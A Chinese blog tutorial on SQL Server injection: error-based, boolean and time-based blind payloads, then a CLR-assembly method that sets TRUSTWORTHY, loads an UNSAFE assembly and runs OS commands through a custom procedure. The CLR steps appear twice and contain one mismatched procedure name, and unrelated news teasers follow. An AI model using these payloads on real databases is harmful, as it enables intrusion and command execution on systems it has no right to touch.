sqlserver命令注入和getshell
admin
2024-01-20 20:11:53
0

SqlServer基本注入需要知道的知识:

1、MSSql的系统自带数据库:master

2、在网站中,同一个网站一般不会跨库。

3、MSSql中每一个库都有一个系统自带表:sysobjects(这是系统对象表,保存当前数据库的对象)

4、注意sysobjects中的三个字段:NAME、XTYPE、ID

NAME字段是表名信息;

XTYPE字段是表的类型(只有两个参数:S和U;S代表系统表、U代表用户创建表);

ID字段的值用来连接syscolumns表

5、syscolumns表保存当前数据库中的所有字段

6、syscolumns表我们需要查询的字段是NAME字段,Name字段保存的是字段名称

7、top关键字:由于MSSql中没有Limit函数,因此我们想要输出限制的数据就要top +数字

8、MSSql中常用参数:

@@version:查询当前数据库版本

db_name():查询当前数据库名称

user:查询当前用户

9、 IS_SRVROLEMEMBER():查询数据库权限(严格来讲这是个函数,拆分来记srv即server:服务,role:角色,member:成员)

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin(这些常用权限是是作为上面的函数的参数出现的)

用法如下:select IS_SRVROLEMEMBER('sysadmin');如果是该权限,则会返回1

10、cast函数,可以把查询的数据转换成字符型,这个可以用于报错注入,用法如下:

cast(count(*) as varchar(255))+char(94)

注意加号要换成url编码:%2b否则会报错

11、len()函数,MSSQL中的判断字符长度的函数

12、substring函数,截断字符串的函数

13、waitfor delay '0:0:5'命令是延时五秒的意思

14、if ascii()语句中,ascii的返回值是条件

报错注入

1、首先要用到之前说的cast函数,我们可以根据cast函数将数据转换成字符类型,这一点进行数据类型的不同进行报错注入,因为它会提醒你‘将某个值转换成类型x的时候转换失败’,我们就可以知晓数据需要的类型

2、我们可以用having 1=1爆出第一个字段名,语句如下:

and (select top 1 * from 表名 having 1=1)>1

会报错:“选择列表中的列’表名.列名1’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

3、用group by 来爆出后面的字段,这是由于group by后面跟的字段数要与select查询的字段数一致

and (select top 1 * from 表名 group by 列名1)=1

会报错:“选择列表中的列’表名.列名2’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

下一条语句:

and (select top 1 * from 表名 group by 列名1,列名2)=1

下面还会报上面的错,不过会是下一个字段了,一直往后直到没有上述报错为止。

布尔盲注

和MySQL的注入方式基本一致,但是函数注意是须知知识中的11、12

时间盲注

1、我们使用if ascii(substring())=x waitfor delay '0:0:5'来判断字符的值,若是前面的条件符合,则等待五秒

2、一条一条的向下寻找后面的字符

SA权限使用CLR 执行系统命令
创建CLR有两种方式:

使用DLL文件进行创建
使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'

--导入程序集
CREATE ASSEMBLY [WarSQLKit] 
    AUTHORIZATION [dbo] FROM 十六进制数据 
    WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
    AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘

-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
 

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'--导入程序集
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 十六进制数据 WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

相关内容

热门资讯

宽基ETF规模大增的三大理由 2026年,A股市场开局向好。Wind资讯数据显示,截至1月14日,开年以来ETF总规模增长超220...
冬季护眼 “睛”彩相伴|武汉普... 冬季天气寒冷干燥,室内取暖设备的使用让空气湿度降低,加上户外活动减少、长时间近距离用眼成为常态,干眼...
白银首破92美元,金铜锡拉升创... 2026年开年以来,全球金属市场迎来新一轮狂欢。 1月14日亚太交易时段,现货白银(伦敦银现)史上首...
阿尔茨海默病新疗法:针对Apo... 你是否曾想过,为什么身边的某些人总能保持思维敏捷,而有些人却逐渐被记忆模糊所困扰?这背后,阿尔茨海默...
中国工商银行申请银行业务流程管... 国家知识产权局信息显示,中国工商银行股份有限公司申请一项名为“银行业务流程管理方法、装置及电子设备”...
1月15日国际晨讯丨现货白银涨... 1月15日,日韩股市开盘齐跌;现货白银1月14日一度涨超7%,突破93美元关口;美联储最新发布的经济...
人民币升级,我们做好最坏的打算 朋友们,你可要留意啊! 在2026年刚开始的时候,一场静悄悄的、却完全能够对未来十年间财富格局造成影...
上涨近10倍!西红柿最近为啥这... 最近,西红柿涨价的消息引发关注,“鸡蛋配不上西红柿”成为社交平台热议话题。西红柿价格究竟如何?引起价...
A股头条:三部门出手!换房退个... 资讯速递 1、财政部召开财政金融协同促内需一揽子政策全国推进工作视频会议 财政部13日下午会同有关部...
原创 银... 各位朋友,美股市场刚刚录得了连续第二个交易日的下跌。如果你觉得这仅仅是技术性调整,那可能低估了盘面下...
规模超23.8万亿,我国连续1... 当你在深夜滑动手机屏幕,一键下单心仪的商品时,你正在参与的,是一个连续13年称霸全球的庞大市场。 根...
南昌第五医院甲状腺科江辉:甲减... 一、高血脂 血脂并非全然有害,实际上,它是人体不可或缺的能量来源,并参与细胞膜的构建以及众多激素的合...
原创 海... 斑马消费 任建新 业绩再次下滑,管理问题频发,海底捞终于决定在人事上大动手术。 1月13日,创始人张...
大连牙齿矫正一般多少钱,面诊正... 大连牙齿矫正一般多少钱,面诊正畸医生要注意什么?面诊牙齿矫正是一个全面而细致的过程,应当充分准备,与...
财报透视|服不服?银之杰连续亏... 1月14日,银之杰(300085)发布公告,公司预计2025年度归母净利润为负值,公司2025年度经...
现货白银再创历史新高 1月14日,现货白银价格延续2025年以来的强劲涨势,盘中首次突破90美元/盎司大关,最高攀升至91...
海外巨头启示录系列(十七):S... SpaceX 由埃隆・马斯克于 2002 年创立,从初期濒临破产到如今估值达 8000 亿美元(拟 ...
阿斯利康与诺和诺德2026战略... 引言 在全球范围内,肥胖问题日益严重,成为影响人们健康的重要因素。根据世界卫生组织的数据显示,肥胖不...
北京国丹医院郑华国介绍:泛发型... 白癜风是临床常见的顽固皮肤疾病,可发生于任何年龄阶段,全身各部位均可能发病。泛发型白癜风作为其中一类...